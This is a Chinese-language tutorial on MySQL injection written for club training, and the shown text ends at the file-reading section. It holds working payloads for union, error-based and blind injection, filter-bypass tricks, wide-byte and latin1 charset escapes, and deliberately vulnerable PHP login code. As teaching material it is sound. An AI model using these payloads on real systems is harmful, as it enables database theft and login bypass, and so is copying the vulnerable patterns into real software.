前言
最近在給學校的社團成員進行web安全方面的培訓,由于在mysql注入這一塊知識點挺雜的,入門容易,精通較難,網上相對比較全的資料也比較少,大多都是一個比較散的知識點,所以我打算將我在學習程序中遇到的關于的mysql注入的內容給全部羅列出來,既方便個人之后的復習,也方便后人查找相關資料,
本文部分內容可能會直接截取其他大牛的文章,截取的內容我都會進行宣告處理,如有侵權,請發email聯系我(asp-php#foxmail.com)洗掉,
本文首發于先知社區,轉載需注明來源+作者ID:Yunen,
Mysql簡介
在正式講解mysql注入的內容前,我認為還是有必要說明一下什么是mysql、mysql的特點是什么等內容,這些東西看起來可能對注入毫無幫助,開始卻能很好的幫助我們學習,融會貫通,
MySQL是一個關系型資料庫管理系統,由瑞典 MySQL AB 公司開發,目前屬于 Oracle 公司,MySQL 是一種關聯資料庫管理系統,關聯資料庫將資料保存在不同的表中,而不是將所有資料放在一個大倉庫內,這樣就增加了速度并提高了靈活性,
- MySQL是開源的,所以你不需要支付額外的費用,
- MySQL使用標準的 SQL 資料語言形式,
- MySQL可以運行于多個系統上,并且支持多種語言,這些編程語言包括 C、C++、Python、Java、Perl、PHP、Eiffel、Ruby 和 Tcl 等,
- MySQL對PHP有很好的支持,PHP 是目前最流行的 Web 開發語言,
- MySQL支持大型資料庫,支持 5000 萬條記錄的資料倉庫,32 位系統表檔案最大可支持 4GB,64 位系統支持最大的表檔案為8TB,
- MySQL是可以定制的,采用了 GPL 協議,你可以修改原始碼來開發自己的 MySQL 系統,
引自:Mysql教程 | 菜鳥教程
一個完整的mysql管理系統結構通常如下圖:

可以看到,mysql可以管理多個資料庫,一個資料庫可以包含多個資料表,而一個資料表有含有多條欄位,一行資料正是多個欄位同一行的一串資料,
什么是SQL注入?
簡單的來說,SQL注入是開發者沒有對用戶的輸入資料進行嚴格的限制/轉義,致使用戶在輸入一些特定的字符時,在與后端設定的sql陳述句進行拼接時產生了歧義,使得用戶可以控制該條sql陳述句與資料庫進行通信,
舉個例子:
<?php
$conn = mysqli_connect($servername, $username, $password, $dbname);
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$username = @$_POST['username'];
$password = @$_POST['password'];
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
上述代碼將模擬一個web應用程式進行登錄操作,若登錄成功,則回傳success,否則,回傳fail,
通常正常用戶進行登錄的sql陳述句為:
select * from users where username = '$username' and password='$password'
其中,變數$username 與變數$password為用戶可以控制的內容,正常情況下,用戶所輸入的內容在sql語意上都將作為字符錯,被賦值給前邊的欄位來當做整條select查詢陳述句的篩選條件,
若用戶輸入的$username為admin'#,$password為123,那么拼接到sql陳述句中將得到如下結果:
select * from users where username = 'admin'#' and password='123'
這里的#是單行注釋符,可以將后邊的內容給注釋掉,那么此條陳述句的語意將發生了變化,用戶可以不需要判斷密碼,只需一個用戶名,即可完成登錄操作,這與開發者的初衷相悖,
Mysql注入-入門
我們知道,在資料庫中,常見的對資料進行處理的操作有:增、刪、查、改這四種,
每一項操作都具有不同的作用,共同構成了對資料的絕大部分操作,
- 增,顧名思義,也就是增加資料,在通用的SQL陳述句中,其簡單結構通常可概述為:
INSERT table_name(columns_name) VALUES(new_values), - 刪,洗掉資料,簡單結構為:
DELETE table_name WHERE condition, - 查,查詢陳述句可以說是絕大部分應用程式最常用到的SQL陳述句,他的作用就是查找資料,其簡單結構為:
SELECT columns_name FROM table_name WHERE condition, - 改,有修改/更新資料,簡單結構為:
UPDATE table_name SET column_name=new_value WHERE condition,
PS:以上SQL陳述句中,系統關鍵字全部進行了大寫處理,
查
mysql的查詢陳述句完整格式如下:
SELECT
[ALL | DISTINCT | DISTINCTROW ]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
[SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
select_expr [, select_expr ...]
[FROM table_references
[PARTITION partition_list]
[WHERE where_condition]
[GROUP BY {col_name | expr | position}
[ASC | DESC], ... [WITH ROLLUP]]
[HAVING where_condition]
[ORDER BY {col_name | expr | position}
[ASC | DESC], ...]
[LIMIT {[offset,] row_count | row_count OFFSET offset}]
[PROCEDURE procedure_name(argument_list)]
[INTO OUTFILE 'file_name'
[CHARACTER SET charset_name]
export_options
| INTO DUMPFILE 'file_name'
| INTO var_name [, var_name]]
[FOR UPDATE | LOCK IN SHARE MODE]]
通常注入點發生在where_condition處,并不是說唯有此處可以注入,其他的位置也可以,只是我們先將此處的注入當做例子來進行講解,之后會逐漸降到其他的位置該如何進行注入,
對于SELECT陳述句,我們通常分其為兩種情況:有回顯和無回顯,
有回顯
什么叫有回顯?別急,我們來舉個例子,
當我們點擊一篇文章閱讀時,其URL為read.php?id=1,我們可以很容易地猜出其SQL陳述句可能為select * from articles where id='$id',
這時候頁面將SQL陳述句回傳的內容顯示在了頁面中(本例中是標題、內容、作者等資訊),這種情況就叫有回顯,
對于有回顯的情況來說,我們通常使用聯合查詢注入法,
聯合查詢注入
其作用就是,在原來查詢條件的基礎上,通過系統關鍵字union從而拼接上我們自己的select陳述句,后個select得到的結果將拼接到前個select的結果后邊,如:前個select得到2條資料,后個select得到1條資料,那么后個select的資料將作為第3條拼接到第一個select回傳的內容中,其欄位名將按照位置關系進行繼承,
如:正常查詢陳述句 union select columns_name from (database.)table_name where condition
這里需要注意的是:
- 若回顯僅支持一行資料的話,記得讓前邊正常的查詢陳述句回傳的結果為空,
- 使用union select進行拼接時,注意前后兩個select陳述句的回傳的欄位數必須相同,否則無法拼接,
無回顯
什么叫無回顯?之前舉得登錄判斷就是一個無回顯的例子,如果SQL陳述句存在回傳的資料,那么頁面輸出為success,若不存在回傳的資料,則輸出fail,
與有回顯情況不同的是:無回顯的頁面輸出內容并不是SQL陳述句回傳的內容,
對于無回顯的情況,我們通常可用兩種方法進行注入:報錯注入與盲注,
報錯注入
什么是報錯注入,簡單的說,就是有些特殊的函式,會在其報錯資訊里可能會回傳其引數的值,
我們可以利用這一特性,在其引數放入我們想要得到的資料,通常使用子查詢的方法實作,最后讓其報錯并輸出結果,
正常陳述句 (where | and) exp(~(select * from(select user())a));
正常陳述句 (where | and) updatexml(1,concat(0x7e,(select user()),0x7e),1);
盲注
若網站設定了無報錯資訊回傳,那么在不直接回傳資料+不回傳報錯資訊的情況下,盲注便幾乎成了最后一種直接注入取資料的方法了,
其中,盲注分成布爾盲注和時間盲注,
布爾盲注
對于布爾盲注來說,其使用的場景在于:對真/假條件回傳的內容很容易區分,
比如說,有這么一條正常的select陳述句,我們再起where條件后邊加上and 1=2,我們知道,1永遠不等于2,那么這個條件就是一個永假條件,我們使用and陳述句連上,那么整個where部分就是永假的,這時候select陳述句是不會回傳內容的,將其回傳的內容與正常頁面進行對比,如果很容易區分的話,那么布爾盲注試用,
如:正常陳述句 (where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
時間盲注
相比較于布爾盲注,時間盲注依賴于通過頁面回傳的延遲時間來判斷條件是否正確,
使用場景:布爾盲注永假條件所回傳的內容與正常陳述句回傳的內容很接近/相同,無法判斷情況,
簡單的來說,時間盲注就是,如果我們自定義的條件為假的話,我們讓其0延遲通過,如果條件為真的話,使用sleep()等函式,讓sql陳述句的回傳產生延遲,
如:正常陳述句(where | and)if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
最后總結一下:
常見注入方法有三種:聯合查詢注入、報錯注入、盲注,其中:
- 有回顯:三種均可使用,推薦使用聯合查詢注入,
- 無回顯:報錯注入+盲注可用,
對于時間成本來說:聯合查詢注入<報錯注入<<盲注,
通常情況下,盲注需要一個一個字符的進行判斷,這極大的增加了時間成本,況且對于時間盲注來說,還需要額外的延遲時間來作為判斷的標準,
三大注入的基本步驟
聯合查詢注入步驟
- 首先,先確定欄位數量,
使用order/group by陳述句,通過往后邊拼接數字,可確定欄位數量,若大于,則頁面錯誤/無內容,若小于或等于,則頁面正常,若錯誤頁與正常頁一樣,更換報錯注入/盲注,
- 第二步,判斷頁面回顯資料的欄位位置,
使用union select 1,2,3,4,x... 我們定義的數字將顯示在頁面上,即可從中判斷頁面顯示的欄位位置,
注意:
- 若確定頁面有回顯,但是頁面中并沒有我們定義的特殊標記數字出現,可能是頁面現在了單行資料輸出,我們讓前邊的
select查詢條件回傳結果為空即可, - 注意一定要拼接夠足夠的欄位數,否則SQL陳述句報錯,PS:此方法也可作為判斷前條
select陳述句的方法之一,
- 第三步,在顯示的欄位位置使用子查詢來查詢資料,或直接查詢也可,
首先,查詢當前資料庫名database()、資料庫賬號user()、資料庫版本version()等基本情況,再根據不同的版本、不同的權限確定接下來的方法,
若Mysql版本<5.0
簡單的說,由于mysql的低版本缺乏系統庫information_schema,故通常情況下,我們無法直接查詢表名,欄位(列)名等資訊,這時候只能靠猜來解決,
直接猜表名與列名是什么,甚至是庫名,再使用聯合查詢取資料,
若知道僅表名而不知道列(欄位)名:
可通過以下payload:
- 若多欄位:select `x` from(select 1,2,3,4,xxx from table_name union select * from table_name)a
- 若單欄位:select *,1,2,xxx from table_name
若Mysql版本>=5.0
首先去一個名為information_schema的資料庫里的shemata資料表查詢全部資料庫名,
若不需要跨資料庫的話,可直接跳過此步驟,直接查詢相應的資料庫下的全部資料表名,
在information_schema的一個名為tables的資料表中存著全部的資料表資訊,
其中,table_name 欄位保存其名稱,table_schema保存其對應的資料庫名,
union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();
上述payload可查看全部的資料表名,其中group_concat函式將多行資料轉成一行資料,
接著通過其表名,查詢該表的所有欄位名,有時也稱列名,
通過information_schema庫下的columns表可查詢對應的資料庫/資料庫表含有的欄位名,
Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此處的表名為字串型,也通過十六進制表示
知道了想要的資料存放的資料庫、資料表、欄位名,直接聯合查詢即可,
Union select 1,2,column_name,4,xxx from (database_name.)table_name
簡單的說,查庫名->查表名->查欄位名->查資料
盲注步驟:
核心:利用邏輯代數連接詞/條件函式,讓頁面回傳的內容/回應時間與正常的頁面不符,
布爾盲注:
首先通過頁面對于永真條件or 1=1與永假條件and 1=2的回傳內容是否存在差異進行判斷是否可以進行布爾盲注,
如:select * from users where username=$username,其作用設定為判斷用戶名是否存在,
通常僅回傳存在/不存在,兩個結果,
這時候我們就不能使用聯合查詢法注入,因為頁面顯示SQL陳述句回傳的內容,只能使用盲注法/報錯注入法來注出資料,
我們在將陳述句注入成:select * from users where username=$username or (condition)
若后邊拼接的條件為真的話,那么整條陳述句的where區域將變成永真條件,
那么,即使我們在$username處輸入的用戶名為一個鐵定不存在的用戶名,那么回傳的結果也仍然為存在,
利用這一特性,我們的condition為:length(database())>8 即可用于判斷資料庫名長度
除此之外,還可:ascii(substr(database(),1,1))<130 用二分法快速獲取資料名(逐字判斷)
payload如下:
select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130
時間盲注:
通過判斷頁面回傳內容的回應時間差異進行條件判斷,
通常可利用的產生時間延遲的函式有:sleep()、benchmark(),還有許多進行復雜運算的函式也可以當做延遲的判斷標準、笛卡爾積合并資料表、GET_LOCK雙SESSION產生延遲等方法,
如上述例子:若服務器在執行永真/永假條件并不直接回傳兩個容易區分的內容時,利用時間盲注或許是個更好的辦法,
在上述陳述句中,我們拼接陳述句,變成:
select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)
如果資料庫名的長度大于8,那么if條件將執行sleep(3),那么此條陳述句將進行延遲3秒的操作,
若小于或等于8,則if條件直接回傳1,并與前邊的邏輯連接詞拼接,無延遲直接回傳,通常的回應時間在0-1秒之內,與上種情況具有很容易區分的結果,可做條件判斷的依據,
報錯注入步驟:
通過特殊函式的錯誤使用使其引數被頁面輸出,
前提:服務器開啟報錯資訊回傳,也就是發生錯誤時回傳報錯資訊,
常見的利用函式有:exp()、floor()+rand()、updatexml()、extractvalue()等
如:select * from users where username=$username (and | or) updatexml(1,concat(0x7e,(select user()),0x7e),1)
因為updatexml函式的第二個引數需要滿足xpath格式,我們在其前后添加字符~,使其不滿足xpath格式,進行報錯并輸出,
將上述payload的(select user())當做聯合查詢法的注入位置,接下來的操作與聯合查詢法一樣,
注意:
- 報錯函式通常尤其最長報錯輸出的限制,面對這種情況,可以進行分割輸出,
- 特殊函式的特殊引數進運行一個欄位、一行資料的回傳,使用group_concat等函式聚合資料即可,
增、刪、改
可簡單當做無回顯的Select陳述句進行注入,值得注意的是,通常增insert處的注入點在測驗時會產生大量的垃圾資料,刪delete處的注入千萬要注意where條件不要為永真,
Mysql注入-進階
到目前為止,我們講了Mysql注入的基本入門,那么接下來我將會花費大部分時間介紹我學習mysql注入遇到的一些知識點,
常見防御手段繞過
在講繞過之前,我認為有必要先講講什么是:過濾與攔截,
簡單的說就是:過濾指的是,我們輸入的部分內容在拼接SQL陳述句之前被程式洗掉掉了,接著將過濾之后的內容拼接到SQL陳述句并繼續與資料庫通信,而攔截指的是:若檢測到指定的內容存在,則直接回傳攔截頁面,同時不會進行拼接SQL陳述句并與資料庫通信的操作,
若程式設定的是過濾,則若過濾的字符不為單字符,則可以使用雙寫繞過,
舉個例子:程式過濾掉了union這一關鍵詞,我們可以使用ununionion來繞過,
PS:一般檢測方法都是利用的正則,注意觀察正則匹配時,是否忽略大小寫匹配,若不忽略,直接使用大小寫混搭即可繞過,
and/or 被過濾/攔截
- 雙寫
anandd、oorr - 使用運算子代替
&&、|| - 直接拼接
=號,如:?id=1=(condition) - 其他方法,如:
?id=1^(condition)
空格被過濾/攔截
- 多層括號嵌套
- 改用+號
- 使用注釋代替
and/or后面可以跟上偶數個!、~可以替代空格,也可以混合使用(規律又不同),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0等部分不可見字符可也代替空格
如:select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)
括號被過濾/攔截
- order by 大小比較盲注
逗號被過濾/攔截
- 改用盲注
- 使用join陳述句代替
substr(data from 1 for 1)相當于substr(data,1,1)、limit 9 offset 4相當于limt 9,4
其他系統關鍵字被過濾/攔截
- 雙寫繞過關鍵字過濾
- 使用同義函式/陳述句代替,如if函式可用
case when condition then 1 else 0 end陳述句代替,
單雙引號被過濾/攔截/轉義
- 需要跳出單引號的情況:嘗試是否存在編碼問題而產生的SQL注入,
- 不需要跳出單引號的情況:字串可用十六進制表示、也可通過進制轉換函式表示成其他進制,
數字被過濾/攔截
下表摘自MySQL注入技巧
| 代替字符 | 數 | 代替字符 | 數、字 | 代替字符 | 數、字 |
|---|---|---|---|---|---|
| false、!pi() | 0 | ceil(pi()*pi()) | 10|A | ceil((pi()+pi())*pi()) | 20|K |
| true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11|B | ceil(ceil(pi())*version()) | 21|L |
| true+true | 2 | ceil(pi()+pi()+version()) | 12|C | ceil(pi()*ceil(pi()+pi())) | 22|M |
| floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13|D | ceil((pi()+ceil(pi()))*pi()) | 23|N |
| ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14|E | ceil(pi())*ceil(version()) | 24|O |
| floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15|F | floor(pi()*(version()+pi())) | 25|P |
| ceil(version()) | 6 | floor(pi()*version()) | 16|G | floor(version()*version()) | 26|Q |
| ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17|H | ceil(version()*version()) | 27|R |
| floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18|I | ceil(pi()pi()pi()-pi()) | 28|S |
| floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19|J | floor(pi()pi()floor(pi())) | 29|T |
編碼轉換產生的問題
寬位元組注入
什么是寬位元組注入?下面舉個例子來告訴你,
<?php
$conn = mysqli_connect("127.0.0.1:3307", "root", "root", "db");
if (!$conn) {
die("Connection failed: " . mysqli_connect_error());
}
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
$sql = "select * from users where username = '$username' and password='$password';";
$rs = mysqli_query($conn,$sql);
echo $sql.'<br>';
if($rs->fetch_row()){
echo "success";
}else{
echo "fail";
}
?>
還是開頭的例子,只不過加了點料,
$conn->query("set names 'gbk';");
$username = addslashes(@$_POST['username']);
$password = addslashes(@$_POST['password']);
addslashes函式將會把POST接收到的username與password的部分字符進行轉義處理,如下:
- 字符
'、"、\前邊會被添加上一條反斜杠\作為轉義字符, - 多個空格被過濾成一個空格,
這使得我們原本的payload被轉義成如下:
select * from users where username = 'admin\'#' and password='123';
注意:我們輸入的單引號被轉義掉了,此時SQL陳述句的功能是:查找用戶名為admin'#且密碼為123的用戶,
但是我們注意到,在拼接SQL陳述句并與資料庫進行通信之前,我們執行了這么一條陳述句:
$conn->query("set names 'gbk';");
其作用相當于:
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
當我們輸入的資料為:username=%df%27or%201=1%23&password=123
經過addslashes函式處理最終變成:username=%df%5c%27or%201=1%23&password=123
經過gbk解碼得到:username=運'or 1=1#、password=123,拼接到SQL陳述句得:
select * from users where username = '運'or 1=1#' and password='123';
成功跳出了addslashes的轉義限制,
具體解釋
前邊提到:set names 'gbk';相當于執行了如下操作:
mysql>SET character_set_client ='gbk';
mysql>SET character_set_results ='gbk';
mysql>SET character_set_connection ='gbk';
那么此時在SQL陳述句在與資料庫進行通信時,會先將SQL陳述句進行對應的character_set_client所設定的編碼進行轉碼,本例是gbk編碼,
由于PHP的編碼為UTF-8,我們輸入的內容為%df%27,會被當做是兩個字符,其中%27為單引號',
經過函式addslashes處理變成%df%5c%27,%5c為反斜線\,
在經過客戶端層character_set_client編碼處理后變成:運',成功將反斜線給“吞”掉了,使單引號逃逸出來,
Latin1默認編碼
講完了gbk造成的編碼問題,我們再講講latin1造成的編碼問題,
老樣子,先舉個例子,
<?php
//該代碼節選自:離別歌's blog
$mysqli = new mysqli("localhost", "root", "root", "cat");
/* check connection */
if ($mysqli->connect_errno) {
printf("Connect failed: %s\n", $mysqli->connect_error);
exit();
}
$mysqli->query("set names utf8");
$username = addslashes($_GET['username']);
//我們在其基礎上添加這么一條陳述句,
if($username === 'admin'){
die("You can't do this.");
}
/* Select queries return a resultset */
$sql = "SELECT * FROM `table1` WHERE username='{$username}'";
if ($result = $mysqli->query( $sql )) {
printf("Select returned %d rows.\n", $result->num_rows);
while ($row = $result->fetch_array(MYSQLI_ASSOC))
{
var_dump($row);
}
/* free result set */
$result->close();
} else {
var_dump($mysqli->error);
}
$mysqli->close();
?>
建表陳述句如下:
CREATE TABLE `table1` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(255) COLLATE latin1_general_ci NOT NULL,
`password` varchar(255) COLLATE latin1_general_ci NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=1 DEFAULT CHARSET=latin1 COLLATE=latin1_general_ci;
我們設定表的編碼為latin1,事實上,就算你不填寫,默認編碼便是latin1,
我們往表中添加一條資料:insert table1 VALUES(1,'admin','admin');
注意查看源代碼:
if($username === 'admin'){
die("You can't do this.");
}
我們對用戶的輸入進行了判斷,若輸入內容為admin,直接結束代碼輸出回傳,并且還對輸出的內容進行addslashes處理,使得我們無法逃逸出單引號,
這樣的話,我們該怎樣繞過這個限制,讓頁面輸出admin的資料呢?
我們注意到:$mysqli->query("set names utf8");這么一行代碼,在連接到資料庫之后,執行了這么一條SQL陳述句,
上邊在gbk寬位元組注入的時候講到過:set names utf8;相當于:
mysql>SET character_set_client ='utf8';
mysql>SET character_set_results ='utf8';
mysql>SET character_set_connection ='utf8';
前邊說道:PHP的編碼是UTF-8,而我們現在設定的也是UTF-8,怎么會產生問題呢?
別著急,讓我接著往下說,前邊我們提到:SQL陳述句會先轉成character_set_client設定的編碼,但,他接下來還會繼續轉換,character_set_client客戶端層轉換完畢之后,資料將會交給character_set_connection連接層處理,最后在從character_set_connection轉到資料表的內部操作字符集,
來本例中,字符集的轉換為:UTF-8—>UTF-8->Latin1
這里需要講一下UTF-8編碼的一些內容,
UTF-8編碼是變長編碼,可能有1~4個位元組表示:
- 一位元組時范圍是
[00-7F]- 兩位元組時范圍是
[C0-DF][80-BF]- 三位元組時范圍是
[E0-EF][80-BF][80-BF]- 四位元組時范圍是
[F0-F7][80-BF][80-BF][80-BF]然后根據RFC 3629規范,又有一些位元組值是不允許出現在UTF-8編碼中的:
所以最終,UTF-8第一位元組的取值范圍是:00-7F、C2-F4,
關于所有的UTF-8字符,你可以在這個表中一一看到: http://utf8-chartable.de/unicode-utf8-table.pl
引自:Mysql字符編碼利用技巧
利用這一特性,我們輸入:?username=admin%c2,%c2是一個Latin1字符集不存在的字符,
由上述,可以簡單的知道:%00-%7F可以直接表示某個字符、%C2-%F4不可以直接表示某個字符,他們只是其他長位元組編碼結果的首位元組,
但是,這里還有一個Trick:Mysql所使用的UTF-8編碼是閹割版的,僅支持三個位元組的編碼,所以說,Mysql中的UTF-8字符集只有最大三位元組的字符,首位元組范圍:00-7F、C2-EF,
而對于不完整的長位元組UTF-8編碼的字符,若進行字符集轉換時,會直接進行忽略處理,
利用這一特性,我們的payload為?username=admin%c2,此處的%c2換為%c2-%ef均可,
SELECT * FROM `table1` WHERE username='admin'
因為admin%c2在最后一層的內部操作字符集轉換中變成admin,
報錯注入原理
我們前邊說到,報錯注入是通過特殊函式錯誤使用并使其輸出錯誤結果來獲取資訊的,
那么,我們具體來說說,都有哪些特殊函式,以及他們都該怎么使用,
MySQL的報錯注入主要是利用MySQL的一些邏輯漏洞,如BigInt大數溢位等,由此可以將MySQL報錯注入分為以下幾類:
- BigInt等資料型別溢位
- 函式引數格式錯誤
- 主鍵/欄位重復
exp()
函式語法:exp(int)
適用版本:5.5.5~5.5.49
該函式將會回傳e的x次方結果,正常如下圖:

為什么會報錯呢?我們知道,次方到后邊每增加1,其結果都將跨度極大,而mysql能記錄的double數值范圍有限,一旦結果超過范圍,則該函式報錯,如下圖:

我們的payload為:exp(~(select * from(select user())a))
其中,~符號為運算子,意思為一元字符反轉,通常將字串經過處理后變成大整數,再放到exp函式內,得到的結果將超過mysql的double陣列范圍,從而報錯輸出,至于為什么需要用兩層子查詢,這點我暫時還沒有弄明白,歡迎有了解的大牛找我討論: )
除了exp()之外,還有類似pow()之類的相似函式同樣是可利用的,他們的原理相同,
updatexml()
函式語法:updatexml(XML_document, XPath_string, new_value);
適用版本: 5.1.5+
我們通常在第二個xpath引數填寫我們要查詢的內容,
與exp()不同,updatexml是由于引數的格式不正確而產生的錯誤,同樣也會回傳引數的資訊,
payload: updatexml(1,concat(0x7e,(select user()),0x7e),1)
前后添加~使其不符合xpath格式從而報錯,
extractvalue()
函式語法:EXTRACTVALUE (XML_document, XPath_string);
適用版本:5.1.5+
利用原理與updatexml函式相同
payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))
rand()+group()+count()
虛擬表報錯原理:簡單來說,是由于where條件每執行一次,rand函式就會執行一次,如果在由于在統計資料時判斷依據不能動態改變,故rand()不能后接在order/group by上,
舉一個例子:假設user表有三條資料,我們通過:select * from user group by username 來通過其中的username欄位進行分組,
此程序會先建立一個虛擬表,存在兩個欄位:key,count
其中我們通過username來判斷,其在此處是欄位,首先先取第一行的資料:username=test&password=test
username為test出現一次,則現在虛表內查詢是否存在test,若存在,則count+1,若不存在,則添加test,其count為1,
對于floor(rand(0)*2),其中rand()函式,會生成0~1之間隨機一個小數、floor()取整數部分、0是隨機因子、乘2是為了讓大于0.5的小數通過floor函式得1,否則永遠為0,
若表中有三行資料:我們通過select * from user group by floor(rand(0)*2)進行排序的話,
注意,由于rand(0)的隨機因子是被固定的,故其產生的亂數也被固定了,順序為:011011…
首先group by需要執行的話,需要確定分組因子,故floor(rand(0)*2)被執行一次,得到的結果為0,接著在虛表內檢索0,發現虛表沒有鍵值為0的記錄,故添加上,在進行添加時:floor(rand(0)*2)第二次被執行,得到結果1,故虛表插入的內容為key=1&count=1,
第二次執行group by時:floor(rand(0)*2)先被運行一次,也就是第三次運行,得到結果1,查詢虛表發現資料存在,因而直接讓虛表內的key=1的count加一即可,floor(..)只運行了一次,
第三次執行group by時,floor被執行第四次,得到結果0,查詢虛表不存在,再插入虛表時,floor(…)被執行第五次,得到結果1,故此時虛表將插入的值為key=1&count=1,注意,此時虛表已有一條記錄為:key=1&count=2,并且欄位key為主鍵,具有不可重復性,故虛表在嘗試插入時將產生錯誤,
圖文:
1.查詢前默認會建立空虛擬表如下圖:
2.取第一條記錄,執行floor(rand(0)2),發現結果為0(第一次計算),查詢虛擬表,發現0的鍵值不存在,則floor(rand(0)2)會被再計算一次,結果為1(第二次計算),插入虛表,這時第一條記錄查詢完畢,如下圖:
\3.查詢第二條記錄,再次計算floor(rand(0)2),發現結果為1(第三次計算),查詢虛表,發現1的鍵值存在,所以floor(rand(0)2)不會被計算第二次,直接count(*)加1,第二條記錄查詢完畢,結果如下:
4.查詢第三條記錄,再次計算floor(rand(0)2),發現結果為0(第4次計算),查詢虛表,發現鍵值沒有0,則資料庫嘗試插入一條新的資料,在插入資料時floor(rand(0)2)被再次計算,作為虛表的主鍵,其值為1(第5次計算),然而1這個主鍵已經存在于虛擬表中,而新計算的值也為1(主鍵鍵值必須唯一),所以插入的時候就直接報錯了,
5.整個查詢程序floor(rand(0)*2)被計算了5次,查詢原資料表3次,所以這就是為什么資料表中需要3條資料,使用該陳述句才會報錯的原因,
引自:——Mysql報錯注入原理分析(count()、rand()、group by)
payload用法: union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a
幾何函式
- GeometryCollection:
id=1 AND GeometryCollection((select * from (select* from(select user())a)b)) - polygon():
id=1 AND polygon((select * from(select * from(select user())a)b)) - multipoint():
id=1 AND multipoint((select * from(select * from(select user())a)b)) - multilinestring():
id=1 AND multilinestring((select * from(select * from(select user())a)b)) - linestring():
id=1 AND LINESTRING((select * from(select * from(select user())a)b)) - multipolygon() :
id=1 AND multipolygon((select * from(select * from(select user())a)b))
不存在的函式
隨便適用一顆不存在的函式,可能會得到當前所在的資料庫名稱,

Bigint數值操作:
當mysql資料庫的某些邊界數值進行數值運算時,會報錯的原理,
如~0得到的結果:18446744073709551615
若此數參與運算,則很容易會錯誤,
payload: select !(select * from(select user())a)-~0;
name_const()
僅可取資料庫版本資訊
payload: select * from(select name_const(version(),0x1),name_const(version(),0x1))a
uuid相關函式
適用版本:8.0.x
引數格式不正確,
mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
join using()注列名
通過系統關鍵詞join可建立兩個表之間的內連接,
通過對想要查詢列名的表與其自身建議內連接,會由于冗余的原因(相同列名存在),而發生錯誤,
并且報錯資訊會存在重復的列名,可以使用 USING 運算式宣告內連接(INNER JOIN)條件來避免報錯,
mysql>select * from(select * from users a join (select * from users)b)c;
mysql>select * from(select * from users a join (select * from users)b using(username))c;
mysql>select * from(select * from users a join (select * from users)b using(username,password))c
GTID相關函式
引數格式不正確,
mysql>select gtid_subset(user(),1);
mysql>select gtid_subset(hex(substr((select * from users limit 1,1),1,1)),1);
mysql>select gtid_subtract((select * from(select user())a),1);
報錯函式速查表
注:默認MYSQL_ERRMSG_SIZE=512
| 類別 | 函式 | 版本需求 | 5.5.x | 5.6.x | 5.7.x | 8.x | 函式顯錯長度 | Mysql報錯內容長度 | 額外限制 |
|---|---|---|---|---|---|---|---|---|---|
| 主鍵重復 | floor round | ? | ?? | ?? | ?? | 64 | data_type ≠ varchar | ||
| 列名重復 | name_const | ? | ?? | ?? | ?? | ?? | only version() | ||
| 列名重復 | join | [5.5.49, ?) | ?? | ?? | ?? | ?? | only columns | ||
| 資料溢位 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ?? | MYSQL_ERRMSG_SIZE | |||||
| 資料溢位 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ?? | MYSQL_ERRMSG_SIZE | |||||
| 幾何物件 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ?? | 244 | |||||
| 空間函式 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | ?? | ?? | 128 | ||||
| GTID | gtid_subset gtid_subtract | [5.6.5, ?) | ?? | ?? | ?? | 200 | |||
| JSON | json_* | [5.7.8, 5.7.11] | ?? | 200 | |||||
| UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | ?? | 128 | |||||
| XPath | extractvalue updatexml | [5.1.5, ?) | ?? | ?? | ?? | ?? | 32 |
摘自——Mysql 注入基礎小結
檔案讀/寫
我們知道Mysql是很靈活的,它支持檔案讀/寫功能,在講這之前,有必要介紹下什么是file_priv和secure-file-priv,
簡單的說:file_priv是對于用戶的檔案讀寫權限,若無權限則不能進行檔案讀寫操作,可通過下述payload查詢權限,
select file_priv from mysql.user where user=$USER host=$HOST;
secure-file-priv是一個系統變數,對于檔案讀/寫功能進行限制,具體如下:
- 無內容,表示無限制,
- 為NULL,表示禁止檔案讀/寫,
- 為目錄名,表示僅允許對特定目錄的檔案進行讀/寫,
注:5.5.53本身及之后的版本默認值為NULL,之前的版本無內容,
三種方法查看當前secure-file-priv的值:
select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";
修改:
- 通過修改my.ini檔案,添加:
secure-file-priv= - 啟動項添加引數:
mysqld.exe --secure-file-priv=
讀
Mysql讀取檔案通常使用load_file函式,語法如下:
